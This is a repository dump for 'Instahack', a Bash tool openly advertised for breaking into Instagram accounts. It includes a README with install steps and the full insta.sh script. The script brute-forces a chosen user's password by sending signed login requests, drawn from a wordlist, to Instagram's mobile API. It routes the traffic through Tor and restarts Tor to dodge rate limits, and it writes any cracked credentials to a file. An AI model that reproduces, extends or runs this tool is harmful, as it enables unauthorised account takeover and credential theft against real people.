656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Instahack
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 | Instahack is a Shell based script for hacking Instagram accounts using the Bruteforce method. It has its own passwords but you can add yours using nano.
16 | Instahack is Available for Termux and Parrot Os
17 |
18 | ***
19 | ## [+] Installation and Usage
20 |
21 | $ apt-get install tor
22 |
23 | $ git clone https://github.com/HackWeiser360/Instahack
24 |
25 | $ cd Instahack
26 |
27 | $ chmod +x insta.sh
28 |
29 | $ ./insta.sh
30 |
31 | ***
32 |
33 | ## Where to find us
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 | [](https://github.com/HackWeiser360/github-readme-twitter)
45 |
46 | ### Stargazers
47 | [](https://github.com/HackWeiser360/Instahack)
48 |
--------------------------------------------------------------------------------
/insta.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # FB by: https://www.youtube.com/HackWeiser
3 | # Instagram: @madmax4708
4 |
5 | trap 'store;exit 1' 2
6 | string4=$(openssl rand -hex 32 | cut -c 1-4)
7 | string8=$(openssl rand -hex 32 | cut -c 1-8)
8 | string12=$(openssl rand -hex 32 | cut -c 1-12)
9 | string16=$(openssl rand -hex 32 | cut -c 1-16)
10 | device="android-$string16"
11 | uuid=$(openssl rand -hex 32 | cut -c 1-32)
12 | phone="$string8-$string4-$string4-$string4-$string12"
13 | guid="$string8-$string4-$string4-$string4-$string12"
14 | var=$(curl -i -s -H "$header" https://i.instagram.com/api/v1/si/fetch_headers/?challenge_type=signup&guid=$uuid > /dev/null)
15 | var2=$(echo $var | awk -F ';' '{print $2}' | cut -d '=' -f3)
16 |
17 |
18 | dependencies() {
19 |
20 | command -v openssl > /dev/null 2>&1 || { echo >&2 "I require openssl but it's not installed. Aborting."; exit 1; }
21 | command -v tor > /dev/null 2>&1 || { echo >&2 "I require tor but it's not installed. Aborting."; exit 1; }
22 | command -v curl > /dev/null 2>&1 || { echo >&2 "I require curl but it's not installed. Aborting."; exit 1; }
23 | command -v awk > /dev/null 2>&1 || { echo >&2 "I require awk but it's not installed. Aborting."; exit 1; }
24 | command -v sed > /dev/null 2>&1 || { echo >&2 "I require sed but it's not installed. Aborting."; exit 1; }
25 | command -v cat > /dev/null 2>&1 || { echo >&2 "I require cat but it's not installed. Aborting."; exit 1; }
26 | command -v tr > /dev/null 2>&1 || { echo >&2 "I require tr but it's not installed. Aborting."; exit 1; }
27 | command -v wc > /dev/null 2>&1 || { echo >&2 "I require wc but it's not installed. Aborting."; exit 1; }
28 | command -v cut > /dev/null 2>&1 || { echo >&2 "I require cut but it's not installed. Aborting."; exit 1; }
29 | command -v uniq > /dev/null 2>&1 || { echo >&2 "I require uniq but it's not installed. Aborting."; exit 1; }
30 | if [ $(ls /dev/urandom >/dev/null; echo $?) == "1" ]; then
31 | echo "/dev/urandom not found!"
32 | exit 1
33 | fi
34 |
35 | }
36 |
37 | banner() {
38 |
39 | printf "\e[1;92m _ _ _ \e[0m\n"
40 | printf "\e[1;92m | | | | | | \e[0m\n"
41 | printf "\e[1;92m | | ____ ___ _| |_ _____ | |___ _____ | | _ \e[0m\n"
42 | printf "\e[1;92m | || _ \ /___)(_ _)(____ || _ |(____ || | / / \e[0m\n"
43 | printf "\e[1;92m | || | | ||___ | | |_ / ___ || | | |/ ___ || / \e[0m\n"
44 | printf "\e[1;92m |_||_| |_|(____/ \___)\_____||_| |_|\_____||_/\_\ \e[0m\n"
45 | printf "\e[1;77m\e[45m Instagram Brute Force Tool v1.0 Author: HackWeiser360 \e[0m\n"
46 | printf "\n"
47 | }
48 |
49 | function start() {
50 | banner
51 | dependencies
52 | read -p $'\e[1;92mUsername account: \e[0m' user
53 | checkaccount=$(curl -s https://www.instagram.com/$user/?__a=1 | grep -c "the page may have been removed")
54 | if [[ "$checkaccount" == 1 ]]; then
55 | printf "\e[1;91mInvalid Username! Try again\e[0m\n"
56 | sleep 1
57 | start
58 | else
59 | default_wl_pass="passwords.lst"
60 | read -p $'\e[1;92mPassword List (Enter to default list): \e[0m' wl_pass
61 | wl_pass="${wl_pass:-${default_wl_pass}}"
62 | default_threads="10"
63 | read -p $'\e[1;92mThreads (Use < 20, Default 10): \e[0m' threads
64 | threads="${threads:-${default_threads}}"
65 | fi
66 | }
67 |
68 | checktor() {
69 |
70 | check=$(curl --socks5 localhost:9050 -s https://check.torproject.org > /dev/null; echo $?)
71 |
72 | if [[ "$check" -gt 0 ]]; then
73 | printf "\e[1;91mPlease, check your TOR Connection! Just type tor or service tor start\n\e[0m"
74 | exit 1
75 | fi
76 |
77 | }
78 |
79 | function store() {
80 |
81 | if [[ -n "$threads" ]]; then
82 | printf "\e[1;91m [*] Waiting threads shutting down...\n\e[0m"
83 | if [[ "$threads" -gt 10 ]]; then
84 | sleep 6
85 | else
86 | sleep 3
87 | fi
88 | default_session="Y"
89 | printf "\n\e[1;77mSave session for user\e[0m\e[1;92m %s \e[0m" $user
90 | read -p $'\e[1;77m? [Y/n]: \e[0m' session
91 | session="${session:-${default_session}}"
92 | if [[ "$session" == "Y" || "$session" == "y" || "$session" == "yes" || "$session" == "Yes" ]]; then
93 | if [[ ! -d sessions ]]; then
94 | mkdir sessions
95 | fi
96 | printf "user=\"%s\"\npass=\"%s\"\nwl_pass=\"%s\"\n" $user $pass $wl_pass > sessions/store.session.$user.$(date +"%FT%H%M")
97 | printf "\e[1;77mSession saved.\e[0m\n"
98 | printf "\e[1;92mUse ./instashell --resume\n"
99 | else
100 | exit 1
101 | fi
102 | else
103 | exit 1
104 | fi
105 | }
106 |
107 |
108 | function changeip() {
109 |
110 | killall -HUP tor
111 | #sleep 3
112 |
113 | }
114 |
115 | function bruteforcer() {
116 |
117 | checktor
118 | count_pass=$(wc -l $wl_pass | cut -d " " -f1)
119 | printf "\e[1;92mUsername:\e[0m\e[1;77m %s\e[0m\n" $user
120 | printf "\e[1;92mWordlist:\e[0m\e[1;77m %s (%s)\e[0m\n" $wl_pass $count_pass
121 | printf "\e[1;91m[*] Press Ctrl + C to stop or save session\n\e[0m"
122 |
123 | startline=1
124 | endline="$threads"
125 | while [ true ]; do
126 | IFS=$'\n'
127 | for pass in $(sed -n ''$startline','$endline'p' $wl_pass); do
128 | header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
129 |
130 | data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
131 | ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
132 |
133 | countpass=$(grep -n "$pass" "$wl_pass" | cut -d ":" -f1)
134 | hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
135 | useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
136 |
137 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: %s\n" $countpass $count_pass $pass
138 |
139 | {(trap '' SIGINT && var=$(curl --socks5 127.0.0.1:9050 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "200\|challenge\|many tries\|Please wait"| uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.passwords ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.passwords \n\e[0m"; kill -1 $$ ; elif [[ $var == "200" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.passwords ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.passwords \n\e[0m"; kill -1 $$ ; elif [[ $var == "Please wait" ]]; then changeip; fi; ) } & done; wait $!;
140 | let startline+=$threads
141 | let endline+=$threads
142 | changeip
143 | done
144 | }
145 |
146 |
147 |
148 | function resume() {
149 |
150 | banner
151 | checktor
152 | counter=1
153 | if [[ ! -d sessions ]]; then
154 | printf "\e[1;91m[*] No sessions\n\e[0m"
155 | exit 1
156 | fi
157 | printf "\e[1;92mFiles sessions:\n\e[0m"
158 | for list in $(ls sessions/store.session*); do
159 | IFS=$'\n'
160 | source $list
161 | printf "\e[1;92m%s \e[0m\e[1;77m: %s (\e[0m\e[1;92mwl:\e[0m\e[1;77m %s\e[0m\e[1;92m,\e[0m\e[1;92m lastpass:\e[0m\e[1;77m %s )\n\e[0m" "$counter" "$list" "$wl_pass" "$pass"
162 | let counter++
163 | done
164 | read -p $'\e[1;92mChoose a session number: \e[0m' fileresume
165 | source $(ls sessions/store.session* | sed ''$fileresume'q;d')
166 | default_threads="10"
167 | read -p $'\e[1;92mThreads (Use < 20, Default 10): \e[0m' threads
168 | threads="${threads:-${default_threads}}"
169 |
170 | printf "\e[1;92m[*] Resuming session for user:\e[0m \e[1;77m%s\e[0m\n" $user
171 | printf "\e[1;92m[*] Wordlist: \e[0m \e[1;77m%s\e[0m\n" $wl_pass
172 | printf "\e[1;91m[*] Press Ctrl + C to stop or save session\n\e[0m"
173 | count_pass=$(wc -l $wl_pass | cut -d " " -f1)
174 | startline="$threads"
175 | while [ true ]; do
176 | IFS=$'\n'
177 | for pass in $(sed -n '/'$pass'/,'$startline'p' $wl_pass); do
178 | header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
179 |
180 | data='{"phone_id":"$phone", "_csrftoken":"$var2", "username":"'$user'", "guid":"$guid", "device_id":"$device", "password":"'$pass'", "login_attempt_count":"0"}'
181 | ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
182 |
183 | countpass=$(grep -n "$pass" "$wl_pass" | cut -d ":" -f1)
184 | hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
185 | useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
186 |
187 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: %s\n" $countpass $count_pass $pass
188 |
189 | {(trap '' SIGINT && var=$(curl --socks5 127.0.0.1:9050 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "200\|challenge\|many tries\|Please wait"| uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instashell ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instashell \n\e[0m"; kill -1 $$ ; elif [[ $var == "200" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instashell ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instashell \n\e[0m"; kill -1 $$ ; elif [[ $var == "Please wait" ]]; then changeip; fi; ) } & done; wait $!;
190 | let startline+=$threads
191 | changeip
192 | done
193 | }
194 |
195 | case "$1" in --resume) resume ;; *)
196 | start
197 | bruteforcer
198 | esac
199 |
--------------------------------------------------------------------------------